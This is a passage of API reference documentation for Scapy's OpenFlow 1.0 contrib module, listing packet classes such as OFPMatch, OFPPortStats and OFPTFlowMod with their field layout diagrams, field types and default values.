+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IN PORT            |             DL SRC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DL DST                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DL VLAN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DL VLAN PCP  |      PAD1     |            DL TYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NW TOS    |    NW PROTO   |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NW SRC                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NW DST                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TP SRC            |             TP DST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPMatch                           


OFPMatch fields






	wildcards1

	FlagsField

	None



	nw_dst_mask

	BitField  (6 bits)

	None



	nw_src_mask

	BitField  (6 bits)

	None



	wildcards2

	FlagsField

	None



	in_port

	ShortEnumField

	None



	dl_src

	MACField

	None



	dl_dst

	MACField

	None



	dl_vlan

	ShortField

	None



	dl_vlan_pcp

	ByteField

	None



	pad1

	XByteField

	None



	dl_type

	ShortField

	None



	nw_tos

	ByteField

	None



	nw_proto

	ByteField

	None



	pad2

	XShortField

	None



	nw_src

	IPField

	'0'



	nw_dst

	IPField

	'0'



	tp_src

	ShortField

	None



	tp_dst

	ShortField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L144-L241]

	








	
class scapy.contrib.openflow.OFPPacketQueue(_pkt, /, *, queue_id=0, len=None, pad=0, properties=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L492-L509]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L500-L501]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PROPERTIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPPacketQueue                        


OFPPacketQueue fields






	queue_id

	IntField

	0



	len

	ShortField

	None



	pad

	XShortField

	0



	properties

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L503-L509]

	








	
class scapy.contrib.openflow.OFPPhyPort(_pkt, /, *, port_no=0, hw_addr='0', port_name=b'', config=<Flag 0 ()>, stp_state=0, state=<Flag 0 ()>, curr=<Flag 0 ()>, advertised=<Flag 0 ()>, supported=<Flag 0 ()>, peer=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L94-L108]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L107-L108]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |            HW ADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PORT NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CONFIG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   STP STATE                   |     STATE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CURR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ADVERTISED                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUPPORTED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PEER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPPhyPort                          


OFPPhyPort fields






	port_no

	ShortEnumField

	0



	hw_addr

	MACField

	'0'



	port_name

	StrFixedLenField

	b''



	config

	FlagsField

	<Flag 0 ()>



	stp_state

	BitEnumField

	0



	state

	FlagsField

	<Flag 0 ()>



	curr

	FlagsField

	<Flag 0 ()>



	advertised

	FlagsField

	<Flag 0 ()>



	supported

	FlagsField

	<Flag 0 ()>



	peer

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow.OFPPortStats(_pkt, /, *, port_no=0, pad=0, rx_packets=0, tx_packets=0, rx_bytes=0, tx_bytes=0, rx_dropped=0, tx_dropped=0, rx_errors=0, tx_errors=0, rx_frame_err=0, rx_over_err=0, rx_crc_err=0, collisions=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1057-L1076]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1059-L1060]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PORT NO            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX DROPPED                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX DROPPED                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RX FRAME ERR                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RX OVER ERR                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX CRC ERR                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COLLISIONS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPPortStats                         


OFPPortStats fields






	port_no

	ShortEnumField

	0



	pad

	XBitField  (48 bits)

	0



	rx_packets

	LongField

	0



	tx_packets

	LongField

	0



	rx_bytes

	LongField

	0



	tx_bytes

	LongField

	0



	rx_dropped

	LongField

	0



	tx_dropped

	LongField

	0



	rx_errors

	LongField

	0



	tx_errors

	LongField

	0



	rx_frame_err

	LongField

	0



	rx_over_err

	LongField

	0



	rx_crc_err

	LongField

	0



	collisions

	LongField

	0















	
class scapy.contrib.openflow.OFPQT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L480-L489]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L481-L486]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L488-L489]

	








	
class scapy.contrib.openflow.OFPQTMinRate(_pkt, /, *, type=1, len=16, pad=0, rate=0, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L467-L473]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RATE             |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPQTMinRate                         


OFPQTMinRate fields






	type

	ShortEnumField

	1



	len

	ShortField

	16



	pad

	XIntField

	0



	rate

	ShortField

	0



	pad2

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow.OFPQTNone(_pkt, /, *, type=0, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L460-L464]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPQTNone                          


OFPQTNone fields






	type

	ShortEnumField

	0



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow.OFPTBarrierReply(_pkt, /, *, version=1, type=19, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1171-L1176]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTBarrierReply                       


OFPTBarrierReply fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	19



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTBarrierRequest(_pkt, /, *, version=1, type=18, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L1163-L1168]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTBarrierRequest                      


OFPTBarrierRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTEchoReply(_pkt, /, *, version=1, type=3, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L693-L698]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTEchoReply                        


OFPTEchoReply fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	3



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTEchoRequest(_pkt, /, *, version=1, type=2, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L685-L690]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTEchoRequest                       


OFPTEchoRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	2



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTFeaturesReply(_pkt, /, *, version=1, type=6, len=None, xid=0, datapath_id=0, n_buffers=0, n_tables=1, pad=0, capabilities=<Flag 0 ()>, actions=<Flag 0 ()>, ports=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L722-L742]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATAPATH ID                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           N BUFFERS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    N TABLES   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  CAPABILITIES                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    ACTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             PORTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTFeaturesReply                      


OFPTFeaturesReply fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	6



	len

	ShortField

	None



	xid

	IntField

	0



	datapath_id

	LongField

	0



	n_buffers

	IntField

	0



	n_tables

	ByteField

	1



	pad

	X3BytesField

	0



	capabilities

	FlagsField

	<Flag 0 ()>



	actions

	FlagsField

	<Flag 0 ()>



	ports

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTFeaturesRequest(_pkt, /, *, version=1, type=5, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L710-L715]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTFeaturesRequest                     


OFPTFeaturesRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	5



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTFlowMod(_pkt, /, *, version=1, type=14, len=None, xid=0, match=<OFPMatch  |>, cookie=0, cmd=0, idle_timeout=0, hard_timeout=0, priority=0, buffer_id=4294967295, out_port=65535, flags=<Flag 0 ()>, actions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L843-L866]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              CMD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDLE TIMEOUT         |          HARD TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PRIORITY           |           BUFFER ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            OUT PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |            ACTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPTFlowMod                         


OFPTFlowMod fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	14



	len

	ShortField

	None



	xid

	IntField

	0



	match

	PacketField

	<OFPMatch  |>



	cookie

	LongField

	0



	cmd

	ShortEnumField

	0



	idle_timeout

	ShortField

	0



	hard_timeout

	ShortField

	0



	priority

	ShortField

	0



	buffer_id

	IntEnumField

	4294967295



	out_port

	ShortEnumField

	65535



	flags

	FlagsField

	<Flag 0 ()>



	actions

	PacketListField

	[]















	
class scapy.contrib.openflow.OFPTFlowRemoved(_pkt, /, *, version=1, type=11, len=None, xid=0, match=<OFPMatch  |>, cookie=0, priority=0, reason=0, pad1=0, duration_sec=0, duration_nsec=0, idle_timeout=0, pad2=0, packet_count=0, byte_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L794-L812]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PRIORITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |      PAD1     |          DURATION SEC         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         DURATION NSEC         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          IDLE TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PAD2             |          PACKET COUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           BYTE COUNT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTFlowRemoved                       


OFPTFlowRemoved fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	11



	len

	ShortField

	None



	xid

	IntField

	0



	match

	PacketField

	<OFPMatch  |>



	cookie

	LongField

	0



	priority

	ShortField

	0



	reason

	ByteEnumField

	0



	pad1

	XByteField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	idle_timeout

	ShortField

	0



	pad2

	XShortField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0















	
class scapy.contrib.openflow.OFPTGetConfigReply(_pkt, /, *, version=1, type=8, len=None, xid=0, flags=0, miss_send_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L753-L763]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |         MISS SEND LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTGetConfigReply                      


OFPTGetConfigReply fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	8



	len

	ShortField

	None



	xid

	IntField

	0



	flags

	ShortEnumField

	0



	miss_send_len

	ShortField

	0















	
class scapy.contrib.openflow.OFPTGetConfigRequest(_pkt, /, *, version=1, type=7, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L745-L750]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPTGetConfigRequest                     


OFPTGetConfigRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	7



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTHello(_pkt, /, *, version=1, type=0, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L547-L552]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPTHello                          


OFPTHello fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	0



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow.OFPTPacketIn(_pkt, /, *, version=1, type=10, len=None, xid=0, buffer_id=4294967295, total_len=0, in_port=0, reason=0, pad=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L779-L791]

